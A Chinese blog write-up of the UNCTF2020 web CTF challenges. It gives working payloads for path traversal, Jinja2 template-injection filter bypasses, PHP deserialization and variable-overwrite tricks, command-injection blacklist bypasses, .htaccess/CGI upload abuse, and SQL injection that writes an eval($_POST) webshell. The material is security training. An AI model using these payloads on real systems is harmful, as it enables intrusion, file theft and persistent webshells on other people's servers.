文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

算法

Leetcode

随笔

经验

技术

 2020-11-19   2.9k

UNCTF2020 Web wp

easyssrf [solved]

算是签到题,比较easy

1
unctf.com/../../../../../../flag

easyflask [solved]

Fuzz了一下,发现过滤挺多东西的。
只能用管道+join的方法

1
{{()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_

等价于().__class__

1
{{()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)}}&class=class&usc=_&base=base

等价于().__class__.__base__

1
{{()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()}}&class=class&usc=_&base=base&subclasses=subclasses

().__class__.__base__.subclasses()

1
{{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(475)}

().__class__.base__.subclasses().pop(475)
click.utils.LazyFile

1
{{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(475)(request.args.path).read()}}&class=class&usc=_&base=base&subclasses=subclasses&path=/etc/passwd

但是不知道flag在哪,所以还是要执行系统命令

1
{{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(64)}}

选取的模块<class '_frozen_importlib._DummyModuleLock'>

1
{{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(64)|attr((request.args.usc*2,request.args.init,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.globals,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.import,request.args.usc*2)|join)}}&class=class&usc=_&base=base&subclasses=subclasses&init=init&globals=globals&builtins=builtins&import=import

().__class__.base__.subclasses().pop(64).__init__.__globals__.__import__
还是没能搞出来
最后还是通过读文件的方式,首先尝试proc/self/cwd/proc/self/environ,直接返回500,应该是权限不够,再尝试读取/proc/self/cmdline,显示项目是在/app下面,再看/app/app.py发现可以成功读取源码,那就猜了一波flag应该在这个路径下。

1
/secret_route_you_do_not_know?guess={{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(475)(request.args.path).read()}}&class=class&usc=_&base=base&subclasses=subclasses&path=/app/flag.txt

参考:
https://www.jianshu.com/p/a736e39c3510
https://misakikata.github.io/2020/04/python-沙箱逃逸与SSTI/#flask-改
https://blog.csdn.net/weixin_43536759/article/details/105066445
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#jinja2---filter-bypass

赛后看预期解我好像做的太麻烦了。

1
{{((session|attr(request.headers.x))|attr(request.headers.x1)).get(request.headers.x2).get(request.headers.x3)(request.headers.x4).read()}}

header的内容:

1
2
3
4
5
x: __init__
x1: __globals__
x2: __builtins__
x3: open
x4: app.py(flag.txt)

easyunserialize [solved]

反序列化字符逃逸
Payload:

1
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}}

babyeval [solved]

命令执行可以直接包含文件

1
?a=include"php://filter/convert.base64-encode/resource=flag.php";

easyfind [solved]

一开始不给hint都没什么思路,后来放了一个hint:

1
if(!(is_file($name)===false)){flag}else{no flag}

is_file函数接收一个数组的时候回返回Null

1
?name[]=0

easy_upload [solved]

检查文件名后缀、文件类型,过滤了perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet,不检查是否有图片头。

.htaccess文件名是可以上传的,用换行绕过:

1
2
3
4
5
AddHandler p\
ph5-script .txt
p\
hp_value au\
to_append_file /flag

然后在随便上传一个txt文件,访问对应路径即可。

然后我写wp的时候发现,这道题目过滤被改了,增加了一个\,所以上面的这种换行绕过就没办法bypass了。

来学一个新姿势,上传.htaccess,开启cgi支持,上传cgi脚本,执行cgi脚本,输出flag。

1
2
Options +ExecCGI
AddHandler cgi-script .xx

再上传cgi文件,这个文件必须要在Linux/macOS环境下编写,使用vim就行。

1
2
3
4
5
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit

然后上传的时候最好也要直接上传文件,抓包修改文件类型,最后再放包,不然可能会出现500的错误。

UN’s_online_tools [solved]

命令执行绕过的题目,当前目录下只有index.php,用sort读取源代码,过滤空格和$,用%09来绕过。

从源码中可以看到禁用了/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i

用ls命令看到flag在根目录下,base64编码一下

127.0.0.1|echo%09Y2F0IC9mbGFn|base64%09-d|sh

easyphp

PHP代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}

getVars();
if (isset($source)) {
highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

这道题考点是变量覆盖,弱类型和PHP复杂变量的解析。做出了前两个考点,倒在了第三个考点,没想到用复杂变量。

第一关

1
2
3
foreach ($_GET as $key => $value) {
global ${$key};
}

${$key}=$value可以导致变量覆盖,也就是说我们将$password覆盖为任意值,然后将$adminPassword覆盖为其md5值。

payload:

1
?password=ca01h&adminPassword=0f5ed8a8d8d44d86a570aacffa922251&source=

第二关

1
sha1($verif) == $verif

简单的PHP弱类型绕过,payload

1
?verif=0e00000000000000000000081614617300000000

https://github.com/spaze/hashes

第三关

1
2
3
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}

变量名必须是var1或者var12这种形式,而且在变量覆盖环节转义了单双引号。

关于复杂变量的解析:https://ca0y1h.top/Web_security/php_related/11.PHP复杂变量解析/

Payload:

1
var1={$_GET[1]}&var3=${$var1()}&1=phpinfo

解释:

1
$var1="{$_GET[1]}"; ==> $var1="phpinfo";
1
$var3="${$var1()}"; ==> $var3="${phpinfo()}";

L0vePHP

查看源码最后一行是一个提示,但是比赛的时候不知道这是base82的编码方式。

解码之后是让提交一个action参数,提示读源码,用文件包含,base被过滤了,换成rot13。

1
php://filter/read=convert.string-rot13/resource=index.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$action = $_GET['action'];
if (isset($action)) {
if (preg_match("/base|data|input|zip|zlib/i", $action)) {
echo "<script>alert('Hacker!!!')</script>";
} else {
include("$action");
}
} else {
include("footer.php");
}

flag.php

1
2
3
4
<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>

hint用十六进制转码1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

预期解,利用PHP5.6新引入的特性——变长参数

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

和Python中的**kwargs,类似,在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。

payload:

1
2
3
?1[]=test&1[]=system(%27ls%20/%27);&2=assert
POST
code=usort(...$_GET);

也就是相当于执行了usort(["test", "system('ls /');"], assert);

P年的那篇文章还提到了可以利用文件包含写shell:

1
code=$_GET[a](N,a,8);&a=file_put_contents

用脚本自动跑一下:

1
2
3
4
5
6
7
8
9
10
11
import requests
import time

strings = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"

for s in strings:
time.sleep(0.5)
url = "http://fda5225d-9b6e-4633-985e-7b0fca4a99ac.node1.hackingfor.fun/1nD3x.php?code=$_GET[a](A,{},8);&a=file_put_contents".format(s)
print(url)
res = requests.get(url)
# print(res.status_code)

base64编码后的一句话已经写入了A文件,再文件包含这个A文件。

俄罗斯方块

题目有提示用到wasm,网上先稍微了解一下。查看源代码发现是有wasm.gz的源文件。

拼接一下文件名下载下来解压之后拿到blocks.wasm,再用wabt工具集中的wasm2wat对其进行反编译

https://github.com/WebAssembly/wabt

https://webassembly.github.io/wabt/doc/wasm2wat.1.html

反编译之后打开wat文件我人都傻了,啥都看不懂,后来我把所有能用的工具试了一下,就是没想到在反编译后的文件中查找99999关键字

再修改这个分数,最后编译成wasm文件

把源码保存下来,替换掉block.wasm.gz,在本地起服务,再随便玩玩拿到flag。

ezphp

题目这样出我真的。。。。没想到

并不知道username和password的确切的值,要用php绕类型比较进行绕过,构造paylaod:

1
2
3
4
5
<?php
$a = array("username"=>True,"password"=>True);
echo serialize($a);
?>
// 得到: a:2:{s:8:"username";b:1;s:8:"password";b:1;}

POST参数即可得到flag

checkin-sql

强网杯2019随便住魔改,提示flag不在数据库中,那么就肯定要写shell了。

堆叠注入查表

1
-1';show tables;

查表字段

1
-1';desc 0xDktb;

用预处理和十六进制编码select * from 0xDktb

1
1';set @a=0x73656c656374202a2066726f6d20603078446b746260;prepare execsql from @a; execute execsql;

发现被过滤掉了set关键字。(在比赛的时候没想到可以直接不要set语句。。。

改为:

1
1'; prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;

发现可以执行成功,那么直接写shellselect '<?php @eval($_POST[ccc]);?>' into outfile '/var/www/html/shell.php'

1
1'; prepare execsql from 0x73656c65637420273c3f70687020406576616c28245f504f53545b6363635d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f7368656c6c2e70687027;execute execsql;

用蚁剑连接拿flag。

赛后收获

  • flask模板注入过滤了关键字或者下划线可以用管道符+join的方式绕过;
  • is_file()函数的参数是一个数组的时候会返回一个NULL;
  • .htaccess可以用换行的方式绕过关键字黑名单
  • 接上一条,如果过滤了\,在.htaccess中解析某个后缀为cgi文件,再上传一个cgi文件运行后读取flag;
  • PHP复杂变量解析;
  • PHP5.6以后版本有变长参数的特性;
  • 在代码注入的题目中还可以用这种方式写入shell:$_GET[a](N,a,8);&a=file_put_contents,再用PHP伪协议读取;
  • SQL注入预编译过了set,可以直接用prepare execsql from 0x....
Copyright © ca01h 2019-2020 | 本站总访问量